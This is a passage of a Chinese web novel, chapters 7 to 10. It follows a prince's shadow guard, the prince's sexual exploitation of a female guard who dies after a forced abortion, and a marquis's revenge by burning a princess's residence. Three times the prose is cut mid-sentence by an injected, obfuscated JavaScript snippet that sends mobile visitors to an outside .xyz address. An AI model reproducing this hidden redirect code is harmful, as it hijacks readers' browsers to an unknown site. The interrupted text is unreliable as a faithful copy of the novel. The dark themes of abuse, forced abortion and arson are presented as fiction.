《强娶影卫为妻》 7. 第 7 章 幕僚们都惊了一着,不知三皇子唤影卫此举何意。片刻,有人开口:“殿下是圣人亲子,必不至于赶尽杀绝,只是若一枝独秀,圣人便会以大风摧之,倒不如卧薪尝胆,如从前那般低调。” “从前是多久以前?”李佑慈冷冷一笑,“像一个奴隶一样趴在掖幽庭,被所有人践踏?” “她是我的血脉至亲,我如何不知她的脾性手段?当年的太子哥哥,难道不是她的亲生儿子?不也照样杀了?这世上,只要挡了她的路,成为她眼中的威胁,她便不可能放过!她这人,与父皇不一样,她记仇得很。” 李佑慈双手交握,又恢复了镇定之色,一字一句道:“我不再是从前的小孩子了,当年的日子我绝不可能再过。” 书房里沉默无声,李佑慈看看手底下这些人,又看了一眼身侧的影卫,他注意到李默身上带着的血腥味。 “你受伤了?”李佑慈问道。 影卫答道:“无大碍,属下失职,未能完成任务。” 李佑慈眸中冷冽一瞬,随后收敛隐去:“罢了,那姓崔的本就不好对付,你尽快养好伤,我还需要你做事。” “是。”李默依言退下。 李佑慈想起什么,又唤住他:“你寻库房用好药把伤养好,另带两包药给木兰,盯着她喝了。这段时日,让青棠跟着我便是。” “遵命。”李默撤下,血与汗混着,贴着他的里衣湿漉漉的,教他难受得厉害。 他每走一步都是煎熬,好在三皇子容了他时间养伤,并未罪责什么。书房里的声音遥遥传来,他耳力出众,听到三皇子骂崔侯爷:“那姓崔的,如今摇着尾巴在母皇面前曲意逢迎,得了几分恩宠便不知自己姓甚名谁了!” “不过是母皇手底下养的一条狗罢了,当年在掖幽庭,在诏狱,他不知如何低贱!我连看他一眼都嫌脏,倒在我面前作威作福了!” 李默垂眸,面上毫无波动,脑海中却忽然闪过前日夜里,那人褪下衣物后布满身躯的伤痕。 经年累月,都是些陈年旧伤了。 李默是个熟练的杀手,自然看出那些伤口是如何造成的。光鲜亮丽的皮囊下,不过是一具孱弱无助的孤魂野鬼罢了。 “崔照意是圣人手里最锋利的刀,若断其锋芒,再培养一个也是不易。这把刀得罪了这么多人,迟早会遭反噬,我们从中推波助澜即可。” “郑国公府若与六殿下联姻,恐怕殿下会失去对方的助力,镇北侯那边本就是圣人眼中钉……” “大公主与殿下一脉同胞,四殿下亦出身刘氏,殿下不若联合他们……” “老四便罢了,至于……” 书房的声音如缥缈轻烟逐渐远去,李默去了库房,打瞌睡的老头儿一个激灵,抬眼看到黑衣影卫的眼睛,仍旧是那双淡漠如看死物般的双眸。 “你怎么又来了?”老头儿声音沙哑,对影卫很不耐烦。 李默习以为常,淡声说道:“主人吩咐,给木兰拿两包药。” 老头儿嗤了一声,转身从后面的柜子里,掏出早就封装好的药包,往影卫面前一扔,“喏,这次剂量大些,中小火煎一个半时辰,浓汤饮下效果最佳。” 李默收下,又道:“也给我拿些药。” 老头儿挑眉,上下打量一眼影卫,“你也怀上了,要堕胎?” 这便是故意侮辱的话了,李默听了纹丝未动,只一双漆黑的眸望着对方,老头儿自觉无趣,便规规矩矩去拿药了。 一刻钟后,老头儿熟练地提着个篮子过来,瓷瓶五个,药包八个,零碎无数,一股脑儿往影卫怀里塞,一边用沙哑的声音嘟囔着:“治外伤的,养内伤的,还有心肌丸保命,止血的,消肿的,化淤的,纱布也给你拿了几捆,补身子的人参备了一株,你没事嚼吧嚼吧吃了。” “嗯。”李默道,“多谢。” 老头儿好奇地打量他,“你都多久没受伤了,这次怎么回事,瞧着脸色发白,一股子血臭味,伤得很重?” 李默顿了片刻,“高手太多,没法子。” “哦。”老头儿犹豫一瞬,又从手边的抽屉里掏出一个瓷瓶,“这个给木兰,补气血的,你让刘伴伴看着些。” “上次没堕掉,主子爷吩咐下了猛料,只怕伤身子得很。”老头儿叹息,“都三次了,便是不能违令,好歹顾惜自己备了避子汤喝,总比堕胎强些。” “嗯,多谢。”李默黑巾覆面,瞧不出神情,只看到那一双平静的眼睛,“主人身边有郑三娘子的人,不能让对方瞧出端倪来,若频繁饮避子汤,总会遭人察觉。” 他好不容易说这么多话,也算是在为木兰澄清,她并非不知廉耻爬床上位的贱婊子。 老头儿其实也心知肚明,这一帮影卫是受过特训的人,是镇北侯送给三皇子驱使的鹰犬利刃,说到底出生入死行刺暗杀,连性命都不属于自己,自然身体也不受自己掌握。如此,他们便早已不算人,只是个附庸主人的物件罢了。 对待物件,自然也是全凭主人喜好,玩弄玩弄再扔至一旁,想起来了又玩弄一下,这是常有的事情。 木兰是个女人,还是个长相温婉漂亮的女人。三皇子身边无侍妾通房,便拿影卫撒火泄欲,木兰是最得他心意的。他与郑三娘子青梅竹马,互诉衷肠,情意绵绵,向来是浩京城一段令人艳羡的佳话。 为了郑三娘子,三皇子守身如玉多年,不仅房里没个年轻丫头,连府里都少用侍女。唯一的侍女还是郑三娘子安排的,好随时照应未婚夫的起居,那是对郑三娘子最忠心的人。 但二十余岁的男人,怎么可能禁欲至此?更何况,李佑慈还尤爱此事。 他偏好长相温婉的女人,而郑三娘子出身将门,虽是世家贵女,却有几分英气在的。木兰则刚好长在了李佑慈的心尖上,呼之即来招之即去,还不用贴心哄着,寻个暗处就能泄欲,对方无有不从的,多好用的物件啊。 木兰一边拿性命完成任务,一边用身体侍奉主君,三年间堕了三次胎,这是第四次。 别院里的人都清楚,守库房的老头儿也明白,三皇子私底下并不如明面上那样洁身自好。 “罢了,日后我私下里给刘伴伴一些避子药。”老头儿垂下浑浊的眼眸,一会儿后,他见李默还未走,不禁问,“你一直站这儿作甚?” 李默张了张嘴,有些难以启齿。 老头儿追问:“还要什么?” 影卫轻呼一口气,“上次海桐用的药,还有么?给我一些。” “那是抹屁股的药,你要来干嘛?”老头儿不解,随后顿悟,“你也遭主子爷宠幸了?青棠不是在呢,你……” 李默冷着脸,老头儿话音戛然而止, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14817277|158692||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 又翻了另外一层抽屉,掏出酱红色的小瓶,“早晚各一次,外用的。” “多谢。”黑衣影卫总算走了,小老头儿捂着胸口,长长呼出一口气,又啐了一口,“什么东西,凶什么凶嘛?这么凶还不是别人身下的玩意儿!” 天阴沉沉的,厚重的云层遮蔽了天光,夜幕缓缓降临。影卫回别院的路上,转去了西大街的索罗巷。索罗巷因种有一棵硕大的娑罗树而得名,李默去找了窝在树下玩蚂蚱的一个小乞丐。 才八九岁的模样,脸上脏兮兮的,李默同他说了两三句话,小乞丐很快跑去前头巷子口的糖水铺,再返回树下时手里拿着三串糖葫芦。 李默接过一串,用干净的油纸包好揣进怀里,剩下两串便归了小乞丐。小乞丐高兴地咬糖葫芦,不小心硌了一颗牙,正是换牙的年纪,泪水汪汪地含在眼眶里打转儿。 影卫没搭理他,径直往前面走了,再穿过两条巷子,就是臭水巷三皇子别院。 突然,三道黑影从房顶落下,四个侍卫从前后包抄,崔府护卫队的人拦住了去路,一行七人,为首的是老熟人甲四。 李默站住脚,呈攻防之势,目光冷冽。 “花了不少力气,才追踪到你的行踪,不愧是山茶大人,受了重伤还不忘隐匿痕迹,不卧床休息反倒行动自如,在下佩服得很。” 李默不说话,只盯着来人,七人并未亮出武器,倒不像是来取他性命的。 “山茶大人不必防备。”甲四背上挎了一个包袱,“侯爷的意思呢,这阵子你反正要养伤,不若随我们回去,我们拿最好的医药照顾你。” “不去。”李默断然拒绝。 “我知你效忠主上,但瞧着他也不如何重视你。”甲四眼神打量李默手里的药篮子,“这些平常的医药,如何配得上武力卓绝的山茶大人?你这些年的旧伤可有后遗症,会不会时常发作?这便是没调理好的缘故,我亲自帮你调养身子……” “不必。”李默再次拒绝,心下暗自盘算成功逃脱的可能性。 他不知此七人今日目的,只觉得头昏脑涨,身上的伤伴随极大的痛楚,若是强斗,恐怕占不了什么便宜。 “哎呀,侯爷心疼你,一心想要照顾你。”甲四继续温声劝说,“你养好了身子,再回去效忠三殿下也不迟。” 孤身一人的影卫默默抽出了自己的短刃,这架势连拒绝的话也不说了,俨然一副要打就打不须废话的模样。 甲四叹了口气,“罢了,那这些医药,你拿回去养伤。” 他身上的包袱鼓鼓囊囊,里面全是上好的药品,且甲四检查过影卫的伤势,知道如何对症下药。如今送过来,自然比库房老头儿随意挑选的那些要好得多。 但李默并未多看一眼,他只提着属于自己的药篮子,一手持着短刃。 忽然短刃掷出,破空而过的声音十分突兀,那方的侍卫抽刀抵挡,却见那短刃并未攻到他面前,反而旋到了右边,击中了另外一名侍卫。 那侍卫吃痛,下意识扯开一步,让出来的短暂空隙,不过是一瞬间的事情。影卫闪身冲破包围圈,收回短刃,几个箭步上墙,再连着几个纵跃,于重重屋檐中消失了身影。 “好俊的身法,好高强的武力!” 甲四望着李默消失的方向,喃喃道:“心性过于坚韧,不会是一件好事。” 8. 第 8 章 金风玉露楼。浩京城数一数二的高楼,最上一层,一道长身玉立的身影凭栏眺望。 辉煌的万家灯火与层层远去的屋脊房檐交映,瓦片在夜色中是黑色的,墙也是黑色,夜幕之下高墙与民房,似乎也看不出分毫差别。 “金风玉露一相逢,便胜却人间无数。” 崔荧站在这最高处,手里提着一只青玉色酒壶,长吟后仰头狂饮,酒水盈盈挂在他的唇上,平添几分艳丽。 李令淑从房内款款走出,手上握着酒壶与酒杯,亲自替崔荧斟了一杯酒,递到男人的面前,赞叹道:“侯爷好诗兴,不愧是出身河阳崔氏,完全继承了相宁公的风范。” 崔荧淡然垂下视线,落在大公主洁白的手腕上,杯中酒水荡漾,他微微停顿,随后又扬起笑:“公主殿下客气。前人所作,不好承其美名。” “这是女儿红,显庆十三年埋的,如今也有二十年了,侯爷尝尝看,比之你那壶竹叶青又如何?”李令淑笑意涟涟,酒杯再次往男人眼前一递。 夜风轻轻拂过,崔荧眼里含着笑意,目光直视李令淑的脸。 这个男人生就一副狐狸眼,一颦一笑总是带了几分惬意风流。被这样一双眸子看着,便觉得对方深情如许,沉溺其中只会不可自拔。 李令淑不禁想,果然是浩京城数一数二的风流人物。 而崔荧也丝毫不掩饰脖颈处的暧昧痕迹。李令淑无意间又瞥到一眼,过了几日都不曾完全消散,看来那只小狗儿是个牙尖嘴利的。 “公主殿下的酒,自然是不错的。”崔荧从善如流地接过,轻轻触及唇边,酒水入喉,他眼里闪过一丝复杂的神色,很快又恢复平静。 “是啊,酒自然是越陈越香,谋事在人,成事在天,也当徐徐图之才是,侯爷以为呢?”李令淑做出一个请的手势,引着崔荧到房内隔桌而坐。 二人坐到了一张桌子上,烛火跳动在两张精致漂亮又暗藏深意的脸庞间。 崔荧捏着酒杯,修长如玉的手指轻轻旋转杯身,眼尾带着一点笑意,问:“某不明白,殿下何意?莫不是替亲弟弟来当说客的?” “神武政变,也二十年了。”李令淑不答话,反而自顾自说起,“倘若没有当年之事,侯爷今日也必然是坐镇朝堂的肱股之臣,以崔氏之清流,何来今日的满身污名?唉,本宫倒想替侯爷不值了。” “殿下说笑了,臣的一切荣宠,皆是圣人所赐。至于崔氏……”崔荧的语气毫无波澜,“陈年往事罢了,不是早就被灭族了么。” “可不是还有一个侯爷您吗?”李令淑意味深长。 “有我无我,又有何异?”崔荧的话语间听不出任何情绪,他打量着对面华贵女人的精致妆容,“金风玉露楼,一夜花费亦不少,殿下深夜重金相邀,不会只是想同臣回忆当年往事吧?” “臣是个及时行乐的性子,春宵一刻值千金,恕不奉陪了。” 他搁下酒杯欲起身,李令淑拿起酒壶又替他斟满一杯,盈盈笑道:“侯爷性子忒急了,左右过了宵禁,外头那么多金吾卫守着,也不好回去了,走什么呐?” 崔荧望着李令淑的脸,片刻,忽然也笑了:“也是,金风玉露一相逢,此处亦是神仙去处。” 他坐定了,像是察觉了什么有趣之处,一时没有半分不耐,只听得李令淑温柔的声音:“春宵一刻值千金,侯爷面前难道没有美人吗?” 风韵犹存的女人微微歪头,明眸皓齿间露出狡黠的神情。 崔荧饶有兴致地问:“殿下此举,倒是让臣好奇了,莫非是想以身相许救情郎?还是说图谋臣这一副破烂身子,想将臣也纳为入幕之宾?” “侯爷过谦,论风流与美貌,浩京城有几人能及得上侯爷?哪能论破烂二字?”李令淑提起酒杯,与崔荧碰杯,“本宫今日倒领会了母皇当年的心境,权力使人容光焕发,美人亦如是。” “呵。”崔荧轻笑一声,摇了摇头,“那抱歉了,臣最近不喜欢女人。” “哦?不喜欢女人?”李令淑眸光微动,“那前几日郑三娘子的马车……” 崔荧一听这,便想到那只倔强不听话的小狗儿,不禁从唇边泄出一丝真实的笑意,主动提杯斟了酒来饮。 李令淑瞧出了些意思,亦笑道:“看来侯爷与三弟之间,又多了一桩不死不休的恩怨呐。” “所以侯爷可否告知本宫……”李令淑试探性地停顿,明亮的眸子落在崔荧的面容上。 “嗯?”崔荧不甚在意,鼻腔里发出上扬的尾调。 李令淑面上挂着温柔的笑,眼里却带着审视的冰冷,“如何才能获得侯爷的心啊?” 崔荧不以为真,小酌一口酒,“殿下是想问赵知诚?” 李令淑摇了摇头,“其实我更好奇,侯爷对郑国公府是什么意思。从前么,也不见侯爷对郑国公府多尊敬,但也不至于连脸面都不给了,想来是这郑家遭了母皇的厌弃……” 大公主一边说一边观察崔荧的神色,“至于为何厌弃,三弟与镇北侯勾结,又煽动郑国公府相助,想来应是一条绳上的蚂蚱。却不料眼下有人先跳下了这绳,侯爷您说啊,绑在一条绳上的蚂蚱,绳子没断,又如何能独自逃跑呢?” “当年承恩伯鼓动母皇立李家子侄为储,母皇犹豫不决,几乎都被说动了,唯独见了侯爷一面,侯爷短短几句便令母皇打消了念头。侯爷问,这世上哪有侄儿供奉姑姑的道理?” 崔荧听了半晌,淡淡道:“殿下果真是来当说客的。” “我那三弟糊涂,我却心里明白,若要图谋大事,侯爷才是最得力之人。”华丽的女人抚着发髻,徐徐说道:“说来前两日,我那三弟寻我了,他与我论起从前的情谊,说我与他是同父同母的亲姐弟,在这浩京城,唯有我们二人才能彼此真心相待。” “我想着也是这个道理,若论当年,太子哥哥待我们几个小的甚好,更是连打板子都替侯爷挨过。说到底,我们呢,是从小一起长大的情谊,更应该守望相助才对。因而,我今日特地去启封了一坛太傅府的酒,侯爷不知道吧,这女儿红是相宁公当年埋下的,可惜了韶安妹妹……” 崔荧目光冷冽,那酒壶外侧似乎还染着土腥味。当年崔氏一族受太子牵连举族覆灭,若非崔相宁委身女皇,若非女皇念及青梅竹马的情谊,连他也活不成的。 他那光风霁月的父亲,河阳崔氏的嫡长子,士林文人之中素有君子贤名的状元郎,那样一个世家大族从小培养的优秀继承人,终于在强权之下弯下了脊梁。他受女皇教唆逼迫,剪去了青丝长发,化作一名僧人出入宫廷,侍奉女皇帷帐之中,受千夫所 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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崔荧径直朝门外走去,大公主忽然厉声叫道:“崔照意,你可知母皇她也老了。” 男人站住,回头看她,只见她杏目圆睁,冷嘲道:“你若不寻新的依附,待来日便是众矢之的,那个位置是所有皇嗣的目标,你站在她前面,便是所有皇嗣的敌人,你知道你将面临什么吗?比之当年相宁公有过之而无不及,你不会有好下场的!” “崔照意,本宫在给你机会。”李令淑缓声说道,“与本宫合作,本宫保你余生无忧。” 崔荧闻言轻轻一笑,微微歪头端详对方的脸,语气无不讥讽:“殿下,你今日若不是来替李佑慈当说客,我当更看得起你一些。烦请殿下转告三皇子,我想要的东西在他那里,我会亲自夺过来。” “接下来,”崔荧唇角越弯越深,“可不是从前那般小打小闹了,他该做好准备。” “不就是郑家那个女人么,若崔侯爷想要,本宫……” “呵。”崔荧一声嗤笑打断李令淑的话,“殿下连我想要什么都没弄清楚,还来与我谈条件?不觉得可笑么?” “是吗?”李令淑听到这话,倒是气定神闲了,“母皇生性多疑,侯爷仗着几分与相宁公相似的面容,得了些旁人没有的宠爱,可本宫也说了,她老了,她会怀疑一切,也包括你这个忠心耿耿的走狗。” 崔荧怔了一瞬,李令淑瞧着他的神情,心情愉悦起来,朱唇轻启:“本宫是说,若赵知诚死了呢?” 大公主满头珠翠随着摇曳的身姿,发出悦耳的金银相击之声,她唤了同行侍女,率先离开了此间。走廊里,乙五急匆匆赶来,甲四紧随进屋。 “侯爷,赵知诚在诏狱里死了。”乙五汇报道。 崔荧面色不改,看向甲四,只问了一句:“是他干的?” 9. 第 9 章 他指的是谁,不消多说,便是侯爷近些日子看上的那只漂亮耗子。 能从他们手里几次逃脱,属实是令人铭记于心。而出入诏狱不露痕迹,杀人于无形,这个代号山茶的男人,自然也是首选。 甲四第一时间意会,连忙回答道:“属下亲自带人守着臭水巷,他连着四五日没出来过。也就今日晌午去了一趟索罗巷,还是找的那个小孩儿,在梁氏糖水铺买了三串糖葫芦,两串教那孩子吃了,他只拿了一串走。那一串用油纸包得好好的,揣怀里带回去的。” “糖葫芦?”崔荧玩味地笑了,“那铺子和小孩儿都查得怎么样?” “全部翻了个底儿朝天,那梁氏糖水铺,祖上三代都在西大街做糖水生意,再往前是西城门外的农户,因招了个惯会占便宜的女婿入赘,这才做起小本生意发了家,在西大街扎下了根。至于那小孩儿,就是西大街最普通不过的乞丐。”甲四将这几日查到的信息徐徐道来。 “属下去京兆府翻了户籍册,三年前通济渠发大水,连日的暴雨,淹了北平坊一带。这孩子父母在河岸附近做工,遭水冲走了,后来跟着祖母过活。一年前祖母也病死了,死了小半个月才被人发现,于是变成了乞丐。邻里怜悯给些吃食,要么就混迹在西大街几条巷子里。” 崔荧面无表情地听着,对赵知诚的死毫不在意,反倒是那漂亮耗子引起他更多的关注。 “这么说来,倒没什么异常,所以他教人去买糖葫芦,难道是因为喜欢?” 甲四轻咳一声,“大约是喜欢吃甜的。” 崔荧闻言笑出了声,“喜欢,四五日才吃一回,跟着三皇子就这么穷酸么?” “可能是他的习惯。”甲四猜测道,“这六年他在北境,实在是不好追查,属下费了些功夫,查了一些六年前在浩京的事。他在那梁氏糖水铺买糖葫芦,从来不亲自去,都是找小乞丐帮忙,第一次约莫是在九年前。” 甲四偷偷瞧着崔荧的神色,“就是从咱们府里重伤逃出去的那一段时日。” “然后呢?”崔荧淡淡地问。 “再往前,属下还查到,他在别处也买过甜食,不拘是糖葫芦,一些蜜饯果子也有,不过是一两次罢了。” “看来他还挑食,只有这梁氏糖水铺符合他胃口。”崔荧玩弄着手上的玉扳指,“你明日去那儿买些回来,我也尝尝看。” “是。”甲四遵命,欲言又止道,“另有一则,属下觉着有些奇怪。” 崔荧的视线落在对方身上,带着询问。 甲四继续道:“他今日在索罗巷,主动找到了跟踪他的侍卫,问有没有妇人堕胎保命的药。” 崔荧神色一凛,不高兴表露无遗,冷声问:“你给了吗?” “属下给他备的,都是他能用的药,他一直拒而不收。”甲四谨慎说道,“属下当时没有应,只说明日老地方见。” “他这几日都不接受你的帮助,突然找到了你,应当是有什么为难之处。”崔荧眼里露出凉薄的笑意,“你仔细打探清楚,不要错过了这么个好机会。” 甲四应是,乙五觑着崔荧的脸色,没敢出声询问赵知诚的事。片刻后,果然听见侯爷还在计较那个代号山茶的影卫。 “怀孕的女人。”崔荧唇齿间碾磨着这几个字,“查出来,不论是谁。” 崔荧怀疑对方是不是有什么看重的心上人,否则不可能向甲四低头,这让他莫名感到十分不舒服。可转念一想,那晚弄他的时候,那人生疏得很,不像是与人做过亲密之事。 “喜欢糖葫芦,真是好极了。”崔荧眼里盛着冷冽的笑意,像是得到了天大的喜讯,脸上的阴霾一扫而净。 这无趣而寡淡的人生,终于有了一点子新鲜事了。 “至于入诏狱杀赵知诚,应当不是他动的手。”甲四看了一眼乙五,“他的伤那么重,三殿下又待他一般,只怕是在臭水巷硬熬着,否则也不至于又摸出来买糖葫芦。” “你的意思是?”崔荧皱眉,不太明白甲四的说法。 “他大概是受重伤的时候,扛不下去了就靠吃些甜食撑着。” 这是甲四根据调查的信息,按时间规律和买甜食的频率,猜测得来的结论。 “哦。”崔荧不以为意,“是他也无妨。” “诏狱里什么情形?”崔荧问乙五,“赵知诚几时死的?” “半个时辰前,审讯的时候突然毒发。被人喂了烈性毒药,毒发时瞬间毙命,根本连医治抢救的时间都没有。”乙五心下忐忑得很,这是他办事不力,一个犯人审了几日都没得出结果,反倒让别人拿住了侯爷的把柄。 “死了便死了吧,赵知诚已经没什么意义了。”崔荧连细查的兴致都没有,他转身望着这屋内桌子上剩下的半壶女儿红,走近前轻轻拿起,拇指不断摩挲那壶身的纹路。 “可这事捅到圣人跟前,侯爷恐怕得惹一身麻烦。”乙五担忧道。 崔荧嗤笑一声,“麻烦?” “七八日撬不开赵知诚的嘴,他活着与死了无异,不就是一个工部侍郎,诏狱里死的人还少么?我亲自剐的朝臣还少么?这几年我不杀人,倒连你们俩都忘了,我可是个疯子!是催人命的阎王啊!” 崔荧脸上露出邪魅又疯狂的笑,那玉面狐狸似的眼睛,像是粹了毒一般。 “麻烦?呵,我倒要捅出更大的麻烦,看看这朝堂之上,拿我怎么办?”崔荧嚣张又肆意,他的手指缓缓敲在女儿红的酒壶上,“喏,你们今晚就带人,去公主府放一把大火,再把曾经太傅府埋的女儿红,一点一点,全部挖出来,当着大公主的面,我要倒给她看!” “这……”甲四犹疑,“闹这么大会不会出什么问题?” 当年的太傅府,早在皇嗣们出宫建府的时候,被赐封给了大公主。因而公主府,有一半是曾经的太傅府,也就是崔侯爷幼年的家。所以这崔家的后院,也就成了大公主的后花园。 今日大公主拿曾经的崔氏和相宁公来刺激侯爷,侯爷平生最恨受人威胁,所遭受的屈辱必定教人百倍奉还。不曾想,如今是一刻也等不了了。 “出问题,呵呵。”崔荧讥讽地笑了两声,“过几日不是我阿爹的忌日么?我疯一疯能有什么关系,他们该体谅我才是。” 一个游荡人间的孤魂野鬼,还有什么可在乎的?苟延残喘地活着,不过是因为有人想要他活着罢了。 “所以一把刀啊,要疼疼才好,让他感知了这个世间的冷暖,他便通了人性,玩弄起来最有意思了。”崔荧吩咐甲四,“你备好药,尽早去见他,糖葫芦也带给他,不必多了,一串足矣。” 三皇子别院。 深夜,海桐推开了李默的房门。身为影卫,已经很少惊慌了,但他面上仍然带了一丝紧张。 “木兰大出血,已经不行了,刘伴伴止不住血,你白日里说的药,能拿到吗?”海桐长得瘦小,身形像个女人,眉目也偏清秀阴柔,时常扮作女子执行任务。 有时他也会被三皇子用作泄欲工具,但也是极少的时候,自从上次遭了大罪,三皇子已经命他不许再去跟前贴身护卫。 李默这逼仄的屋子里,一股子血腥味始终散不去,他嘴里含着一颗糖葫芦,糖已经化干净了,只剩下酸甜的山楂。 他生生熬了一夜,吐了山楂核儿,堪堪起身,勉强站直了身躯,僵着脸说道:“我去看看。” 木兰的胎,堕了两天,连着喝那要命的药,一直 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14817279|158692||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 在流血。昨日夜里总算堕下来了一块模糊不清的血肉,人一下子就昏了过去,而后便开始涌出大量的血,刘伴伴先是止血,又去找了府里。可近几日三皇子要哄未婚妻,在他眼里一个影卫罢了,纵然多睡了几次,也不会当个人来看。 还是库房的老头儿不忍心,偷拿了些保命的药,不过也不会珍贵到哪里去。珍贵的都是有名录在册的,自然有无数双眼睛盯着。 更何况因着三皇子要哄未婚妻,让人满库房地找讨人欢心的物件,那郑三娘子的眼线,那个叫瑞心的侍女早就将库房的东西收拾了个遍。多一件少一件的,她心里能没个数? 三皇子就更不可能为了一个卑贱的影卫,而冒险让瑞心生出猜疑了。 李默走到木兰的住处,刘伴伴拿着旱烟杆,坐在屋檐下的石板台阶上,屋里传来木兰有气无力的呜咽声。 “上半夜还是哀嚎,这会子已经半晌才哼一声了。”刘粟抬眼看李默,脸上满是挫败绝望,“这次的药下得猛,她本就堕了一次没下去,伤了身子又遭一次罪,血崩了就救不回来了。” “多谢刘伴伴。”李默平静地说道。 刘粟苦笑一声,“谢我作甚?丹葵还不是没救回来,唉,让他俩做个伴也好,免得黄泉路上孤单。” 李默推开门进了屋,瘦弱的女子躺在单薄的床板上,这间屋子与他那间没什么两样。四面墙冷冷清清,连个窗子都没有,灯火摇晃着,昏沉沉看不清人的模样。 床褥连同那张破旧的被子,全部被血浸染了,木兰惨白着一张脸,已经有了死亡的灰败之色。 “山茶大人。”木兰睁开眼睛看着李默,勉强张开两片颤抖的嘴唇,发出气若游丝的声音。 李默就在床前站着,他面上没有任何表情,只嗯了一声。 “我好疼。”木兰伸手去扯李默的手指,“山茶大人,我要解脱了,你帮帮我可好?” 李默没有动作,他犹豫片刻,还是从怀里掏出一个油纸包,里面是几颗新鲜的糖葫芦。他拿出一颗来,递到木兰的嘴边,轻声说道:“疼的话,吃点甜的,就不疼了。” 木兰流着泪,含住了那颗糖葫芦,感受着舌尖味蕾带来的甜,她笑了笑,说:“我觉得有点苦。” 李默低头看了一眼他的油纸包,再看看木兰,问:“你要不要再吃一颗?” 木兰摇了摇头,含糊的声音,艰难地说道:“山茶大人,要不你动手杀了我吧,我好疼啊。” 李默微微俯身,伸出手指擦去木兰脸上的泪水,声音稳定而安心:“丹葵先去了,你也别怕,若是觉得孤单了,就在原地等等我。其实我这回也不好,可能活不了多少时日,到时去陪你。” 木兰惨笑地应了,“好。” 她无力地闭上眼,半晌,又勉强撑开,糖葫芦从嘴边滑落,她的眼泪一直不停地流,不知是疼的还是怎么。 李默又喂给她一颗,她含着舔了舔,笑道:“怎么还是苦的?” 李默没说话,就用手帮她拂去眼泪。 女人又阖上了眼皮,气息微弱地喘着,这一次过了更久,她才睁开双眼,望着李默的眼神已经没了聚焦。 她慢慢地说着:“山茶大人,其实死了也好。” “活着啊,逃不了,有主人的蛊毒控制着,还有大人您的刀清理门户。我来府里三年,是我这一生最漫长的时日啊。” “我想小时候的桃花了,我生在一个桃花盛开的地方……” 李默沉默地看着木兰,看着她缓缓闭上了眼睛,那颗糖葫芦还是从嘴边滑落了,沾着血丝,像是呕出来的心头肉一般。 他从油纸包里再拿出一颗来,往木兰的嘴里喂,却是怎么也喂不进了。 10. 第 10 章 这一夜,注定是不平静的一夜。 从大公主决定招惹崔侯爷开始,崔侯爷恶劣而疯狂的报复就回来了。崔府护卫队的人,由乙五和丙六带着,堂而皇之地翻了公主府的后院墙,连面容都不遮掩下,甚至还带了几大桶桐油助兴。 熊熊大火燃烧在东大街,公主府一片狼藉,很快惊动了皇城司。金吾卫大将军安如山,第一时间冲进公主府,将凌乱受惊的大公主从闺房里抱了出来,而后又将其送进了隔壁二皇子府。 崔荧的马车就停在公主府的大门口,亲眼看着里面人仰马翻上下惊惶,听着响在耳边的尖叫声,错乱的脚步声,此起彼伏的重物破碎声,他不禁露出浅浅的微笑来。 “真是一曲优美的乐章啊。”崔荧无比兴奋地感叹道。 大公主在安如山的护送下,拢着一件黑色的斗篷,从府里出来时披头散发,她狠毒地看向崔荧,咬牙切齿道:“崔照意,你真是疯了不成?” 崔荧笑着看她,痛快地抚手拍掌,故作关心地询问:“殿下伤着了没有?” 李令淑冷哼一声,不欲再看崔荧,直觉得这人恶心至极,简直像是一只披着人皮的恶鬼。 反倒是她身旁的安如山,慎重地问道:“崔侯爷,此事很快便会上达天听,冲撞皇嗣,纵火行凶,草菅人命,侯爷可能担待得起?” 崔荧无所谓地合掌,挑眉示意周遭的人群,语气轻佻地说道:“安将军,我事前通知了皇城司,也让人在公主府周围戒严,保证火势绝对不蔓延出公主府一根苗头。” “你!”李令淑听到这话,怒目瞪着崔荧,“本宫府里的人,便算不得人了么?” “殿下请放心。”崔荧笑着安抚道,“臣只放火,不杀人,带了这么多人来,还亲自守着,就是为了不伤及无辜。” 无辜两个字,被刻意咬得很重,“待明日火灭,您府宅里的家奴仆从,必定无一人丢了性命。” “崔照意!”李令淑气得双颊绯红,顾不得半点公主仪态,怒叫着还待说什么,安如山用力揽住她的胳膊,低声道:“殿下,先看看太医吧。” 她顿时明了,这是要在自己身上做文章。 今日火烧府宅之辱,必定让姓崔的百倍奉还!此时张狂得没个人样儿,殊不知明日,如何能走出紫宸殿? 李令淑忍下这口恶气,痛心疾首地转身离去。 只听得崔侯爷吊儿郎当地哼着小曲儿,不知是从哪家勾栏院学来的,目光灼灼地盯着大公主的背影。 他拿起今夜未饮完的女儿红,一点一点喝了个干净,酒壶瓷片粹在地面上,发出清脆的响声。 男人眼尾泛红,怔怔地勾唇一笑,而后畅快地长叹一声,“从此,那个属于河阳崔氏的太傅府,便在这个世间不复存在了啊。” 伴随着这场大火,关于崔氏一族的一切,都再无任何留存于世的痕迹。唯一的遗迹,大概只有活着的崔荧一人了。 大公主离去的身影,听到此言短暂地一顿,随后又挺直了腰背,继续往二皇子府去了。 凌晨时分,东大街耀眼的火光逐渐衰落下去。臭水巷三皇子别院,黑衣影卫抱着女人的尸体走在冷寂的巷子里。 